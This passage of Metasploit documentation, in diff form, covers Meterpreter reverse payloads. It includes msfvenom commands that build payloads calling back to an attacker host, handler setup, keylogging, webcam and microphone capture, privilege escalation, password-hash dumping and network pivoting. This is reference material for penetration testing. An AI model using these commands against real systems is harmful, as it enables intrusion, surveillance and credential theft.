Note that in order to collect Linux hashes, Meterpreter needs to run as root.
|
||||
|
||||
## Using the Post Exploitation API in IRB
|
||||
|
||||
To enter IRB, do the following at the Meterpreter prompt:
|
||||
|
||||
```
|
||||
meterpreter > irb
|
||||
[*] Starting IRB shell
|
||||
[*] The 'client' variable holds the meterpreter client
|
||||
|
||||
>>
|
||||
```
|
||||
|
||||
**The client object**
|
||||
|
||||
The client object in Meterpreter allows you to control or retrieve information about the host. For
|
||||
example, this allows you to get the current privilege our payload is running as:
|
||||
|
||||
```
|
||||
>> client.sys.config.getuid
|
||||
=> "uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000"
|
||||
```
|
||||
|
||||
To explore the client object, there are a few tricks. For example, you can use the #inspect method
|
||||
to inspect it:
|
||||
|
||||
```
|
||||
>> client.inspect
|
||||
```
|
||||
|
||||
You can also use the #methods method to see what methods you can use:
|
||||
|
||||
```
|
||||
>> client.methods
|
||||
```
|
||||
|
||||
To review the source of the method, you can use the #source_location method. For example, say we
|
||||
want to see the source code for the #getuid method:
|
||||
|
||||
```
|
||||
>> client.sys.config.method(:getuid).source_location
|
||||
=> ["/Users/sinn3r/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
|
||||
```
|
||||
|
||||
The first element of the array is the location of the file. The second is the line number of the
|
||||
method.
|
||||
|
||||
## Routing Through the portfwd Commands
|
||||
|
||||
The ```portfwd``` command allows you to talk to a remote service like it's local. For example, if you
|
||||
cannot talk to the blocked HTTP service remotely on the compromised host due to whatever reason,
|
||||
then you can use portfwd to establish that tunnel:
|
||||
|
||||
```
|
||||
meterpreter > portfwd add -l 8000 -p 8000 -r 172.16.23.182
|
||||
[*] Local TCP relay created: :8000 <-> 172.16.23.182:8000
|
||||
```
|
||||
|
||||
And then talk to it like it's a local service:
|
||||
|
||||
```
|
||||
msf auxiliary(http_version) > run
|
||||
|
||||
[*] 127.0.0.1:8000 SimpleHTTP/0.6 Python/2.7.6
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(http_version) >
|
||||
```
|
||||
|
||||
## Routing Through msfconsole
|
||||
|
||||
The ```route``` command from the msf prompt can also be used like portfwd, but it also allows you
|
||||
to reach out to other networks that the compromised host is connected to.
|
||||
|
||||
To use ```route```, first look at the ipconfig/ifconfig output and determine your pivot point:
|
||||
|
||||
```
|
||||
meterpreter > ipconfig
|
||||
```
|
||||
|
||||
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt, and establish that route:
|
||||
|
||||
```
|
||||
msf > route add 192.168.1.0 255.255.255.0 1
|
||||
```
|
||||
|
||||
At that point, you should have a working pivot. You can use other Metasploit modules to explore
|
||||
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to
|
||||
allow other third-party tools to do the same.
|
||||
@@ -0,0 +1,358 @@
|
||||
python/meterpreter/reverse_tcp allows you to remotely control the compromised system. It is a
|
||||
unique payload to the Metasploit Framework, because it is cross-platform. And since Python is
|
||||
a very popular programming language, some operating systems such as Ubuntu even support it
|
||||
by default.
|
||||
|
||||
When using an exploit, using a cross-platform payload like python/meterpreter/reverse_tcp also
|
||||
means you don't need to worry about which target/platform to select, the payload should work
|
||||
for all of them.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The Python Meterpreter is suitable for any systems that support Python. Some operating
|
||||
systems such as Ubuntu, Debian, Arch Linux, and OS X have it by default. The Python
|
||||
Meterpreter supports the CPython implementation versions 2.5-2.7 and 3.1+.
|
||||
|
||||
## Deploying python/meterpreter/reverse_tcp
|
||||
|
||||
python/meterpreter/reverse_tcp is typically used in two different ways.
|
||||
|
||||
First, it can be used with an exploit as long as the Python platform is supported. This sort
|
||||
of information can usually be found when you use the ```info``` command like this:
|
||||
|
||||
```
|
||||
msf exploit(ms14_064_packager_python) > info
|
||||
|
||||
Name: MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python
|
||||
Module: exploit/windows/fileformat/ms14_064_packager_python
|
||||
Platform: Python
|
||||
Privileged: No
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2014-11-12
|
||||
|
||||
.... more info here ...
|
||||
```
|
||||
|
||||
Or, you can check the exploit's target list by doing ```show targets```, there might be Python
|
||||
on the list.
|
||||
|
||||
If your exploit supports Python, here is how to load it:
|
||||
|
||||
1. In msfconsole, select the exploit.
|
||||
2. Configure the options for that exploit.
|
||||
3. Do: ```set PAYLOAD python/meterpreter/reverse_tcp```
|
||||
4. Set the ```LHOST``` datastore option, which is the [IP that the payload should connect to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
|
||||
5. Do ```exploit```. If the exploit is successful, it should execute that payload.
|
||||
|
||||
Another way to use the Python Meterpreter is to generate it as a Python file. Normally, you would
|
||||
want to do this with msfvenom, like this:
|
||||
|
||||
```
|
||||
./msfvenom -p python/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/python.py
|
||||
```
|
||||
|
||||
## Important Basic Commands
|
||||
|
||||
Compared to a native Meterpreter such as windows/meterpreter/reverse_tcp, the Python Meterpreter
|
||||
has less commands, but here's a list of all the common ones you might need:
|
||||
|
||||
**pwd command**
|
||||
|
||||
The ```pwd``` command tells you the current working directory. For example:
|
||||
|
||||
```
|
||||
meterpreter > pwd
|
||||
/Users/sinn3r/Desktop
|
||||
```
|
||||
|
||||
**cd command**
|
||||
|
||||
The ```cd``` command allows you to change directories. Example:
|
||||
|
||||
```
|
||||
meterpreter > cd /Users/sinn3r/Desktop
|
||||
meterpreter > pwd
|
||||
/Users/sinn3r/Desktop
|
||||
```
|
||||
|
||||
**cat command**
|
||||
|
||||
The ```cat``` command allows you to see the content of a file:
|
||||
|
||||
```
|
||||
meterpreter > cat /tmp/data.txt
|
||||
Hello World!
|
||||
```
|
||||
|
||||
**upload command**
|
||||
|
||||
The ```upload``` command allows you to upload a file to the remote target. For example:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/data.txt /Users/sinn3r/Desktop
|
||||
[*] uploading : /tmp/data.txt -> /Users/sinn3r/Desktop
|
||||
[*] uploaded : /tmp/data.txt -> /Users/sinn3r/Desktop/data.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**download command**
|
||||
|
||||
The ```download``` command allows you to download a file from the remote target to your machine.
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > download /Users/sinn3r/Desktop/data.txt /tmp/pass.txt
|
||||
[*] downloading: /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt
|
||||
[*] download : /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**search command**
|
||||
|
||||
The ```search``` command allows you to find files on the remote file system. For example,
|
||||
this shows how to find all text files in the current directory:
|
||||
|
||||
```
|
||||
meterpreter > search -d . -f *.txt
|
||||
Found 2 results...
|
||||
.\pass.txt (13 bytes)
|
||||
./creds\data.txt (83 bytes)
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
Without the ```-d``` option, the command will attempt to search in all drives.
|
||||
|
||||
The ```-r``` option for the command allows you to search recursively.
|
||||
|
||||
|
||||
**getuid command**
|
||||
|
||||
The ```getuid``` command tells you the current user that Meterpreter is running on. For example:
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
**execute command**
|
||||
|
||||
The ```execute``` command allows you to execute a command or file on the remote machine.
|
||||
|
||||
The following examples uses the command to create a text file:
|
||||
|
||||
```
|
||||
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
|
||||
Process 73642 created.
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**ps command**
|
||||
|
||||
The ```ps``` command lists the running processes on the remote machine.
|
||||
|
||||
**shell command**
|
||||
|
||||
The ```shell``` command allows you to interact with the remote machine's command prompt (or shell).
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > shell
|
||||
Process 74513 created.
|
||||
Channel 2 created.
|
||||
sh-3.2#
|
||||
```
|
||||
|
||||
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
|
||||
|
||||
**sysinfo**
|
||||
|
||||
The ```sysinfo``` command shows you basic information about the remote machine. Such as:
|
||||
|
||||
* Computer name
|
||||
* OS name
|
||||
* Architecture
|
||||
* Meterpreter type
|
||||
|
||||
## Using a Post Module
|
||||
|
||||
One of the best things about Meterprter is you have access to a variety of post modules that
|
||||
"shell" sessions might not have. Post modules provide you with more capabilities to collect
|
||||
data from the remote machine automatically. For example, stealing credentials from the system
|
||||
or third-party applications, or modify settings, etc.
|
||||
|
||||
To use a post module from the Meterpreter prompt, simply use the ```run``` command. The following
|
||||
is an example of collecting OS X keychain information using the enum_keychain post module:
|
||||
|
||||
```
|
||||
meterpreter > run post/osx/gather/enum_keychain
|
||||
|
||||
[*] The following keychains for root were found:
|
||||
"/Users/sinn3r/Library/Keychains/login.keychain"
|
||||
"/Library/Keychains/System.keychain"
|
||||
[+] 192.168.1.209:58023 - Keychain information saved in /Users/sinn3r/.msf4/loot/20160705211412_http_192.168.1.209_macosx.keychain._271980.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Using the Post Exploitation API in IRB
|
||||
|
||||
To enter IRB, do the following at the Meterpreter prompt:
|
||||
|
||||
```
|
||||
meterpreter > irb
|
||||
[*] Starting IRB shell
|
||||
[*] The 'client' variable holds the meterpreter client
|
||||
|
||||
>>
|
||||
```
|
||||
|
||||
**The client object**
|
||||
|
||||
The client object in Meterpreter allows you to control or retrieve information about the host. For
|
||||
example, this allows you to get the current privilege our payload is running as:
|
||||
|
||||
```
|
||||
>> client.sys.config.getuid
|
||||
=> "root"
|
||||
```
|
||||
|
||||
To explore the client object, there are a few tricks. For example, you can use the #inspect method
|
||||
to inspect it:
|
||||
|
||||
```
|
||||
>> client.inspect
|
||||
```
|
||||
|
||||
You can also use the #methods method to see what methods you can use:
|
||||
|
||||
```
|
||||
>> client.methods
|
||||
```
|
||||
|
||||
To review the source of the method, you can use the #source_location method. For example, say we
|
||||
want to see the source code for the #getuid method:
|
||||
|
||||
```
|
||||
>> client.sys.config.method(:getuid).source_location
|
||||
=> ["/Users/sinn3r/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
|
||||
```
|
||||
|
||||
The first element of the array is the location of the file. The second is the line number of
|
||||
the method.
|
||||
|
||||
**Railgun**
|
||||
|
||||
If you are familiar with using the post exploitation API for Windows, you probably know about
|
||||
Railgun. Unfortunately, Railgun is not available in Python Meterpreters.
|
||||
|
||||
## Switching to a Native Meterpreter
|
||||
|
||||
The Python Meterpreter currently does not quite have the same strength as a native Meterpreter,
|
||||
therefore there are times you will want to migrate to a native one to expose yourself with more
|
||||
features.
|
||||
|
||||
There are many ways to migrate to a native Meterpreter, some common approaches:
|
||||
|
||||
**Example 1: Upload and Execute**
|
||||
|
||||
Step 1: Produce a native Meterpreter, such as:
|
||||
|
||||
```
|
||||
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=5555 -f exe -o /tmp/native.exe
|
||||
```
|
||||
|
||||
Step 2: Start another handler for the native payload:
|
||||
|
||||
```
|
||||
./msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST [IP]; set LPORT 5555; run"
|
||||
```
|
||||
|
||||
Step 3: Upload the native via the Python Meterpreter session:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/native.exe C:\\Users\\sinn3r\\Desktop
|
||||
[*] uploading : /tmp/native.exe -> C:\Users\sinn3r\Desktop
|
||||
[*] uploaded : /tmp/native.exe -> C:\Users\sinn3r\Desktop\native.exe
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
Step 4: Execute the native payload:
|
||||
|
||||
```
|
||||
meterpreter > execute -H -f C:\\Users\\sinn3r\\Desktop\\native.exe
|
||||
Process 2764 created.
|
||||
```
|
||||
|
||||
And then your other handler (for the native payload) should receive that session:
|
||||
|
||||
```
|
||||
[*] Starting the payload handler...
|
||||
[*] Sending stage (957999 bytes) to 192.168.1.220
|
||||
[*] Meterpreter session 1 opened (192.168.1.209:5555 -> 192.168.1.220:49306) at 2016-07-05 21:48:04 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-6NH0Q8CJQVM
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/win32
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**Example 2: Using exploit/multi/script/web_delivery**
|
||||
|
||||
Another way to migrate to a native Meterpreter is by using the exploit/multi/script/web_delivery
|
||||
module. To learn how, please read the module documentation for that module.
|
||||
|
||||
## Routing through the portfwd command
|
||||
|
||||
The portfwd command allows you to talk to a remote service like it's local. For example, if you
|
||||
cannot talk to the SMB service remotely on the compromised host because it is firewalled, then
|
||||
you can use portfwd to establish that tunnel:
|
||||
|
||||
```
|
||||
meterpreter > portfwd add -l 445 -p 445 -r 192.168.1.220
|
||||
[*] Local TCP relay created: :445 <-> 192.168.1.220:445
|
||||
meterpreter > portfwd
|
||||
|
||||
Active Port Forwards
|
||||
====================
|
||||
|
||||
Index Local Remote Direction
|
||||
----- ----- ------ ---------
|
||||
1 0.0.0.0:445 192.168.1.220:445 Forward
|
||||
```
|
||||
|
||||
And then talk to it like it's a local service:
|
||||
|
||||
```
|
||||
msf auxiliary(smb_version) > run
|
||||
|
||||
[*] 127.0.0.1:445 - Host is running Windows 7 Ultimate SP1 (build:7601)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Routing through msfconsole
|
||||
|
||||
The route command from the msf prompt can also be used to bypass firewall like portfwd, but it also
|
||||
allows you to connect to hosts on a different network through the compromised machine.
|
||||
|
||||
To do that, first off, look at the ifconfig/ipconfig output and determine your pivot point:
|
||||
|
||||
```
|
||||
meterpreter > ipconfig
|
||||
```
|
||||
|
||||
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt,
|
||||
and establish that route:
|
||||
|
||||
```
|
||||
msf > route add 192.168.1.0 255.255.255.0 1
|
||||
```
|
||||
|
||||
At that point, you should have a working pivot. You can use other Metasploit modules to explore
|
||||
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to allow
|
||||
other third-party tools to do the same.
|
||||
@@ -0,0 +1,509 @@
|
||||
windows/meterpreter/reverse_https is a unique Windows payload for Metasploit Framework. It
|
||||
is capable of doing things like remotely control the file system, sniff, keylog, hashdump,
|
||||
pivoting, run extensions, etc. But the real strength of this is the way it talks to the
|
||||
attacker.
|
||||
|
||||
Instead of a stream-based communication model (tied to a specific TCP session), the stager
|
||||
provides a packet-based transaction system instead. You know, kind of like a botnet that we
|
||||
see today. The use of HTTPS also makes the payload communication a little bit harder to detect.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This Meterpreter payload is suitable for the following environments:
|
||||
|
||||
* Windows x64
|
||||
* Windows x86
|
||||
|
||||
## Deploying windows/meterpreter/reverse_https
|
||||
|
||||
windows/meterpreter/revese_https can be used in two different ways.
|
||||
|
||||
**As an exploit payload**
|
||||
|
||||
To check if windows/meterpreter/reverse_https is compatible with the exploit or not, first you can
|
||||
use the ```info``` command on the exploit you want to use:
|
||||
|
||||
```
|
||||
msf exploit(ms08_067_netapi) > info
|
||||
|
||||
Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
|
||||
Module: exploit/windows/smb/ms08_067_netapi
|
||||
Platform: Windows
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Great
|
||||
Disclosed: 2008-10-28
|
||||
|
||||
...
|
||||
```
|
||||
|
||||
If the platform field includes Windows, then you can use windows/meterpreter/reverse_https as the
|
||||
payload.
|
||||
|
||||
Depending on the module, sometimes you have to select a specific target by first checking the
|
||||
target list, like the following:
|
||||
|
||||
```
|
||||
show targets
|
||||
```
|
||||
|
||||
If there is a Windows target, use that:
|
||||
|
||||
```
|
||||
set TARGET [index]
|
||||
```
|
||||
|
||||
To actually set the payload:
|
||||
|
||||
1. In msfconsole, load the exploit.
|
||||
2. Do: ```set PAYLOAD windows/meterpreter/reverse_https```
|
||||
3. Set the ```LHOST``` OPTION WHICH, which [IP the same the payload connect to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
|
||||
4. Run th exploit
|
||||
|
||||
**As a standalone**
|
||||
|
||||
To generate windows/meterpreter/reverse_https, you can do this from msfvenom:
|
||||
|
||||
```
|
||||
./msfvenom -p windows/meterpreter/reverse_https lhost=172.16.23.1 lport=4444 -f exe -o /tmp/https.exe
|
||||
```
|
||||
|
||||
## Important Basic Commands
|
||||
|
||||
**pwd command**
|
||||
|
||||
The ```pwd``` command allows you to see the current directory you're in on the remote target.
|
||||
Example:
|
||||
|
||||
```
|
||||
meterpreter > pwd
|
||||
C:\Users\sinn3r\Desktop
|
||||
```
|
||||
|
||||
**cd command**
|
||||
|
||||
The ```cd``` command allows you to change directories. Example:
|
||||
|
||||
```
|
||||
meterpreter > cd C:\\
|
||||
```
|
||||
|
||||
**cat command**
|
||||
|
||||
The ```cat``` command allows you to see the content of a file:
|
||||
|
||||
```
|
||||
meterpreter > cat data.txt
|
||||
Hello World
|
||||
```
|
||||
|
||||
**upload command**
|
||||
|
||||
The ```upload``` command allows you to upload a file to the remote target. For example:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/payload.exe C:\\Users\\sinn3r\\Desktop
|
||||
[*] uploading : /tmp/payload.exe -> C:\Users\sinn3r\Desktop
|
||||
[*] uploaded : /tmp/payload.exe -> C:\Users\sinn3r\Desktop\payload.exe
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
The ```-r``` option for the command also allows you to upload recursively.
|
||||
|
||||
**download command**
|
||||
|
||||
The ```download``` command allows you download a file from the remote target to your machine.
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > download C:\\Users\\sinn3r\\Desktop\\password.txt
|
||||
[*] downloading: C:\Users\sinn3r\Desktop\password.txt -> password.txt
|
||||
[*] download : C:\Users\sinn3r\Desktop\password.txt -> password.txt
|
||||
```
|
||||
|
||||
**search command**
|
||||
|
||||
The ```search``` command allows you to find files on the remote file system. For example, this
|
||||
demonstrates how to find all text files in the current directory:
|
||||
|
||||
```
|
||||
meterpreter > search -d . -f *.txt
|
||||
Found 1 result...
|
||||
.\password.txt (11 bytes)
|
||||
```
|
||||
|
||||
Note that without the ```-d``` option, the command will attempt to search in all drives.
|
||||
|
||||
The ```-r``` option for the commands allows you to search recursively.
|
||||
|
||||
**ifconfig/ipconfig command**
|
||||
|
||||
The ```ifconfig``` command displays the network interfaces on the remote machine:
|
||||
|
||||
```
|
||||
meterpreter > ipconfig
|
||||
|
||||
Interface 1
|
||||
============
|
||||
Name : Software Loopback Interface 1
|
||||
Hardware MAC : 00:00:00:00:00:00
|
||||
MTU : 4294967295
|
||||
IPv4 Address : 127.0.0.1
|
||||
IPv4 Netmask : 255.0.0.0
|
||||
IPv6 Address : ::1
|
||||
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
|
||||
|
||||
|
||||
Interface 2
|
||||
============
|
||||
Name : Intel(R) PRO/1000 MT Network Connection
|
||||
Hardware MAC : 00:0c:29:eb:33:d9
|
||||
MTU : 1500
|
||||
IPv4 Address : 172.16.23.185
|
||||
IPv4 Netmask : 255.255.255.0
|
||||
IPv6 Address : fe80::5911:c25:bd50:5a6d
|
||||
IPv6 Netmask : ffff:ffff:ffff:ffff::
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
The command ```ipconfig``` is an alias for ```ifconfig```.
|
||||
|
||||
**getuid command**
|
||||
|
||||
The ```getuid``` command shows you the current user that the payload is running as:
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: WIN-6NH0Q8CJQVM\sinn3r
|
||||
```
|
||||
|
||||
**execute command**
|
||||
|
||||
The ```execute``` command allows you to execute a command or file on the remote machine.
|
||||
|
||||
The following example will spawn a calculator:
|
||||
|
||||
```
|
||||
meterpreter > execute -f calc.exe
|
||||
Process 2020 created.
|
||||
```
|
||||
|
||||
**ps command**
|
||||
|
||||
The ```ps``` command lists the running processes on the remote machine.
|
||||
|
||||
**shell command**
|
||||
|
||||
The ```shell``` command allows you to interact with the remote machine's command prompt. Example:
|
||||
|
||||
```
|
||||
meterpreter > shell
|
||||
Process 2872 created.
|
||||
Channel 1 created.
|
||||
Microsoft Windows [Version 6.1.7601]
|
||||
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\sinn3r\Desktop>
|
||||
```
|
||||
|
||||
**sysinfo command**
|
||||
|
||||
The ```sysinfo``` command shows you basic information about the remote machine. Example:
|
||||
|
||||
```
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-6NH0Q8CJQVM
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/win32
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**keyscan command**
|
||||
|
||||
The ```keyscan_start``` command starts the keylogging feature on the remote machine.
|
||||
|
||||
**keyscan_dump command**
|
||||
|
||||
The ```keyscan_dump``` command is a keylogger feature. You must use the ```keyscan_start``` command
|
||||
before using this. Example:
|
||||
|
||||
```
|
||||
meterpreter > keyscan_start
|
||||
Starting the keystroke sniffer...
|
||||
meterpreter > keyscan_dump
|
||||
Dumping captured keystrokes...
|
||||
hello world!
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**keyscan_stop command**
|
||||
|
||||
The ```keyscan_stop``` command stops the keylogger.
|
||||
|
||||
**screenshot command**
|
||||
|
||||
The ```screenshot``` command takes a screenshot of the target machine.
|
||||
|
||||
**webcan_list command**
|
||||
|
||||
The ```webcam_list``` commands shows you a list of webcams that you can control. You'll
|
||||
probably want to use this first before using any other webcam commands.
|
||||
|
||||
**webcam_snap command**
|
||||
|
||||
The ```webcam_snap``` commands uses the selected webcam to take a picture.
|
||||
|
||||
**webcam_stream command**
|
||||
|
||||
The ```webcam_stream``` command basically uses the ```webcam_snap``` command repeatedly to create
|
||||
the streaming effect. There is no sound.
|
||||
|
||||
**record_mic command**
|
||||
|
||||
The ```record_mic``` command captures audio on the remote machine.
|
||||
|
||||
**getsystem command**
|
||||
|
||||
The ```getsystem``` command attempts to elevate your privilege on the remote machine with one of
|
||||
these techniques:
|
||||
|
||||
* Named pipe impersonation (in memory)
|
||||
* Named pipe impersonation (dropper)
|
||||
* Token duplication (in memory)
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
meterpreter > getsystem
|
||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
```
|
||||
|
||||
**hashdump command**
|
||||
|
||||
The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges.
|
||||
For sxample:
|
||||
|
||||
```
|
||||
meterpreter > hashdump
|
||||
Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
|
||||
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||||
HelpAssistant:1000:92a84e332fa4b09e9850257ad6826566:8fb9a6e155fd6e14a16c37427b68bbb4:::
|
||||
root:1003:633c097a37b26c0caad3b435b51404ee:f2477a144dff4f216ab81f2ac3e3207d:::
|
||||
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b205640421f2:::
|
||||
```
|
||||
|
||||
**detach command**
|
||||
|
||||
The ```detach``` command allows you to temporarily disconnect the Meterpreter session without
|
||||
actually losing it, as the following example demonstrates:
|
||||
|
||||
```
|
||||
meterpreter > detach
|
||||
|
||||
[*] 172.16.23.185 - Meterpreter session 1 closed. Reason: User exit
|
||||
msf exploit(handler) > run
|
||||
|
||||
[*] Started HTTPS reverse handler on https://172.16.23.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] https://172.16.23.1:4444 handling request from 172.16.23.185; (UUID: utvmhcay) Attaching orphaned/stageless session...
|
||||
"https://172.16.23.1:4444/56uhMwqiB8B0s3WyIzN-3wEo5JA4AcwGUum6UAAWxN2MEy0-Tw8f0GH7EOK-uTte7O6WXt8y9KRTiQX88Fn0CNy5yxFMndf1NPfRXelG6se/"
|
||||
[*] Meterpreter session 2 opened (172.16.23.1:4444 -> 172.16.23.185:49207) at 2016-07-11 11:38:21 -0500
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
By default, the Meterpreter session will continue to reach back to you for five minutes. If it
|
||||
is unable to connect back after that, it will terminate. You can extend this by setting the
|
||||
```SessionCommunicationTimeout``` option to your choice. Setting this option to 0 ensures that
|
||||
your session will reattach whenever the target comes back online, as long as the payload handler
|
||||
is running.
|
||||
|
||||
|
||||
## Using a Post Module
|
||||
|
||||
One of the best things about Meterpreter is you have access to a variety of post exploitation
|
||||
modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to
|
||||
collect data from the remote machine automatically. For example, you can steal passwords
|
||||
from popular applications and enumerate or modify system settings.
|
||||
|
||||
To use a post module from the Meterpreter prompt, simply use the ```run``` command:
|
||||
|
||||
```
|
||||
meterpreter > run post/windows/gather/checkvm
|
||||
|
||||
[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine .....
|
||||
[*] This is a VMware Virtual Machine
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load
|
||||
the specific post module you wish to run, and enter ```info -d``` to see the basic usage in the
|
||||
documentation.
|
||||
|
||||
## Using the Post Exploitation API in IRB
|
||||
|
||||
To enter IRB, do the following at the Meterpreter prompt:
|
||||
|
||||
```
|
||||
meterpreter > irb
|
||||
[*] Starting IRB shell
|
||||
[*] The 'client' variable holds the meterpreter client
|
||||
|
||||
>>
|
||||
```
|
||||
|
||||
**The client object**
|
||||
|
||||
The client object in Meterpreter's IRB allows you control or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as:
|
||||
|
||||
```ruby
|
||||
>> client.sys.config.getuid
|
||||
```
|
||||
|
||||
To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it:
|
||||
|
||||
```
|
||||
>> client.inspect
|
||||
```
|
||||
|
||||
You can use the #methods method to see what methods you can use:
|
||||
|
||||
```
|
||||
>> client.methods
|
||||
```
|
||||
|
||||
To find the source of the method, you can use the #source_location method. For example, say I want to find the source code for the #getuid method:
|
||||
|
||||
```
|
||||
>> client.sys.config.method(:getuid).source_location
|
||||
=> ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
|
||||
```
|
||||
|
||||
The first element of the array is the location of the file. The second element is the line number of the method.
|
||||
|
||||
## Using Railgun
|
||||
|
||||
Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a MessageBox on the target machine, do:
|
||||
|
||||
```
|
||||
>> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
|
||||
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
|
||||
```
|
||||
|
||||
To learn more about using Railgun, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation).
|
||||
|
||||
|
||||
## Routing through the portfwd command
|
||||
|
||||
The portfwd command allows you to talk to a remote service like it's local. For example, SMB is a
|
||||
commonly targeted protocol, but by default it is blocked by a firewall. To being able to talk to
|
||||
it, we can portfwd via an active session:
|
||||
|
||||
```
|
||||
meterpreter > portfwd add -l 445 -p 445 -r 172.16.23.185
|
||||
[*] Local TCP relay created: :445 <-> 172.16.23.185:445
|
||||
```
|
||||
|
||||
And then talk to the remote SMB service like it's local:
|
||||
|
||||
```
|
||||
msf auxiliary(smb_version) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(smb_version) > run
|
||||
|
||||
[*] 127.0.0.1:445 - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WIN-6NH0Q8CJQVM) (domain:WORKGROUP)
|
||||
```
|
||||
|
||||
## Routing through msfconsole
|
||||
|
||||
The route command from the msf prompt can also be used to bypass firewall like portfwd, but it also
|
||||
allows you to connect to hosts on a different network through the compromised machine.
|
||||
|
||||
To do that, first off, look at the ifconfig/ipconfig output and determine your pivot point:
|
||||
|
||||
```
|
||||
meterpreter > ipconfig
|
||||
```
|
||||
|
||||
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt,
|
||||
and establish that route:
|
||||
|
||||
```
|
||||
msf > route add 192.168.1.0 255.255.255.0 1
|
||||
```
|
||||
|
||||
At that point, you should have a working pivot. You can use other Metasploit modules to explore
|
||||
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to allow
|
||||
other third-party tools to do the same.
|
||||
|
||||
|
||||
## Meterpreter Stageless Mode
|
||||
|
||||
A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a
|
||||
normal one would actually cost too much time and bandwidth in a penetration test. To learn more
|
||||
about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode)
|
||||
to read more.
|
||||
|
||||
